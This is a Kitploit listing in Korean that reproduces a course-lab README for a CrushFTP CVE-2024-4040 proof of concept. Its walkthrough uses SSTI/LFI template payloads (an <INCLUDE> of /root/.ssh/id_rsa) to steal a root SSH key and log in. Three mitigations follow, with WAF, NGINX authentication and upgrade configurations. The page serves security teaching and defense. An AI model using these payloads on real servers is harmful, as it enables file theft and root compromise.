Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CrushFTP-CVE-2024-4040-Proof-of-Concept — CVE-2024-4040에 대한 개념 증명 익스플로잇으로, CrushFTP에서 인증되지 않은 SSTI 및 로컬 파일 읽기를 시연하며, Docker 랩과 완화 전략을 포함합니다. | Kitploit
도구/GitHubGitHub/sidjaz/crushftp-cve-2024-4040-proof-of-concept
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsidjaz/crushftp-cve-2024-4040-proof-of-concept

CrushFTP-CVE-2024-4040-Proof-of-Concept

CVE-2024-4040에 대한 개념 증명 익스플로잇으로, CrushFTP에서 인증되지 않은 SSTI 및 로컬 파일 읽기를 시연하며, Docker 랩과 완화 전략을 포함합니다.

저장소 보기
54개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-4040 취약점 — CrushFTP SSTI / LFI 개념 증명

교육 및 승인된 실험실 용도로만 사용하세요.
CS443 소프트웨어 및 시스템 보안 모듈을 위한 것입니다. 실험은 통제된 로컬 Docker 환경에서 수행되었습니다.


취약점 요약

필드세부 정보
CVECVE-2024-4040
영향 받는 소프트웨어CrushFTP < 10.7.1 (v10 브랜치) / < 11.1.0 (v11 브랜치)
취약점 유형서버 측 템플릿 인젝션(SSTI) → 인증되지 않은 로컬 파일 읽기
CVSS 점수9.8 치명적
영향인증되지 않은 공격자가 서버 파일시스템에서 임의의 파일을 읽을 수 있습니다.

CrushFTP의 WebInterface는 zip 명령의 path 매개변수에서 템플릿 표현식을 검증 없이 평가합니다. 인증되지 않은 공격자는 익명 세션 쿠키를 획득한 후, 해당 쿠키를 사용하여 서버가 평가하고 반환하는 템플릿 페이로드({working_dir}, <INCLUDE>…</INCLUDE>)를 전달할 수 있습니다. 이를 통해 호스트 전체에서 임의의 파일 읽기가 가능합니다.


실험 환경

구성 요소값
대상http://localhost:8080
기본 PoC CrushFTP 버전10.3.0 (의도적으로 취약함)
완화 조치 3 테스트 환경CrushFTP 11.x를 실행하는 별도 컨테이너(패치된 브랜치)
SSH 포트(컨테이너)2222 → 22
관리자 자격 증명admin / admin
컨테이너 런타임Docker (Compose)

사전 요구 사항

root@kitploit:~
pip install requests rich

스크립트

스크립트출처목적
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoC전체 SSTI/LFI 익스플로잇 — 세션 스틸, 임의 파일 읽기
recon.py이 저장소버전 탐지, 실시간 SSTI 프로브, 취약점 확인

개념 증명 워크스루

1단계 — 실험 시작

root@kitploit:~
docker-compose up -d

스크립트를 실행하기 전에 CrushFTP가 완전히 초기화될 때까지 약 10초 기다리세요. crushed.py는 실행 중에 익스플로잇 가능 여부를 이미 확인하기 때문에 별도의 정찰 단계는 필요하지 않습니다.


2단계 — LFI를 통한 SSH 개인 키 탈취

root@kitploit:~
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

스크립트는 다음을 수행합니다:

  1. /WebInterface/에서 익명 CrushAuth / currentAuth 세션 획득
  2. SSTI를 사용하여 템플릿 평가 확인 및 서버 호스트명 유출
  3. {working_dir}을 사용하여 CrushFTP 설치 디렉토리 확인
  4. <INCLUDE>/root/.ssh/id_rsa</INCLUDE>를 사용하여 대상 파일 읽기
  5. 원시 파일 내용을 stdout으로 출력

출력에서 개인 키 블록(-----BEGIN OPENSSH PRIVATE KEY-----부터 -----END OPENSSH PRIVATE KEY-----까지 모두)을 복사하세요.


3단계 — 탈취된 키 저장

root@kitploit:~
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

4단계 — 컨테이너에 루트로 SSH 접속

root@kitploit:~
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

5단계 — 루트 접속 확인

root@kitploit:~
whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

공격 체인 다이어그램

root@kitploit:~
인증되지 않은 공격자
        │
        ▼
GET /WebInterface/          ← 익명 CrushAuth + currentAuth 쿠키 획득
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI 확인 — 서버가 템플릿 평가
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← 절대 설치 경로 유출
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← 임의 파일 읽기
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← 전체 루트 셸

crushed.py의 주요 알려진 문제

문제위치세부 사항
누락된 종속성6–9행실행 전 pip install rich 필요
취약한 XML 파싱86, 140행비XML 서버 응답에서 충돌; ParseError 처리 없음
토큰 정규식이 너무 엄격함160–161행CrushAuth=…; currentAuth=… 패턴이 모든 sessions.obj 형식과 일치하지 않을 수 있음
HTTP 404만 처리53행쿠키 획득은 404에서만 성공; 다른 상태 코드에서는 조용히 실패

완화 전략

완화 조치 1 — 웹 애플리케이션 방화벽 (NGINX + ModSecurity)

개요

WAF는 CrushFTP에 도달하기 전에 들어오는 HTTP/S 트래픽을 검사하는 리버스 프록시 역할을 합니다. NGINX와 ModSecurity를 사용하여 CVE-2024-4040을 악용하는 악성 요청이 CrushFTP 자체를 수정하지 않고 네트워크 가장자리에서 차단됩니다.

CVE-2024-4040 완화 방법

  • 요청 URI 및 쿠키에서 경로 탐색 패턴(예: ../, %2e%2e) 차단
  • 인증되지 않은 VFS 이스케이프 요청이 CrushFTP에 도달하지 못하도록 방지
  • 의심스러운 페이로드가 애플리케이션에 도달하기 전에 로깅 및 차단

Docker 설정

Mitigation 1/docker-compose.yaml 사용:

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX 구성

Mitigation 1/nginx.conf 사용:

root@kitploit:~
worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

트래픽 흐름

root@kitploit:~
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

한계

  • 근본 원인을 패치하지 않음 — WAF가 우회되면 CrushFTP는 여전히 취약함
  • 공격자가 난독화 기술을 발전시킴에 따라 규칙 업데이트 필요

완화 조치 2 — 익명 사용자 접근 비활성화

개요

CVE-2024-4040은 인증 없이 악용 가능합니다. 이 실험에서는 NGINX 계층에서 익명 스타일 접근을 차단하여, 주요 경로를 CrushFTP로 프록시하기 전에 Authorization 헤더를 요구합니다.

CVE-2024-4040 완화 방법

  • crushed.py와 같은 익스플로잇 스크립트는 인증되지 않은 접근에 의존합니다. 자격 증명이 없는 요청은 401로 거부됩니다.
  • /WebInterface/ 및 /에 대한 요청은 인증 데이터가 없으면 거부됩니다.
  • 취약한 엔드포인트에 대한 인증되지 않은 사용자의 노출을 줄입니다.

Docker 설정 (Mitigation 2/docker-compose.yaml에서 그대로)

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX 정책 (Mitigation 2/nginx.conf에서 그대로)

root@kitploit:~
events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Block unauthenticated access to WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Block everything else unauthenticated
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

Docker를 통한 확인

root@kitploit:~
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized

# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

한계

  • 기본 취약점을 패치하지 않음 — 인증된 사용자는 익스플로잇 로직이 적응되면 여전히 위험할 수 있음
  • 적용은 프록시 배치 및 CrushFTP 앞에서 올바른 헤더 처리에 따라 달라짐

완화 조치 3 — CrushFTP 버전 11로 업데이트

개요

CrushFTP 11로 업그레이드하는 것이 가장 효과적이고 영구적인 수정 방법입니다. 패치는 VFS 경로 해석에 엄격한 입력 검증을 적용하여 CVE-2024-4040의 근본 원인을 제거합니다.

CVE-2024-4040 완화 방법

  • VFS 경로의 엄격한 샌드박싱 적용 — 애플리케이션 수준에서 이스케이프 시도가 거부됨
  • crushed.py와 같은 익스플로잇 스크립트가 버전 11에서 더 이상 작동하지 않음
  • 수정이 외부 제어로 가려지지 않고 소스 코드 수준에서 적용됨

구현

Dockerfile을 업데이트하여 CrushFTP 11을 사용:

root@kitploit:~
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

컨테이너 다시 빌드:

root@kitploit:~
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

패치 작동 확인

root@kitploit:~
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080

# Expected: exploit returns no output or connection error
도구 다운로드